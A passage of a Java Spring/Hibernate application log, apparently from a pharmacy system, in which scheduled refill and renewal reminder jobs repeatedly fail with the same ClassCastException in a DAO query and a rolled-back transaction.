org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 06:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 06:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 06:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 06:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 06:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 06:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 06:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 06:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 06:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 06:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 06:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 06:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 06:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 06:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 06:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 06:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 06:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 06:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 06:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 06:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 06:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 06:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 06:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:40:00 INFO 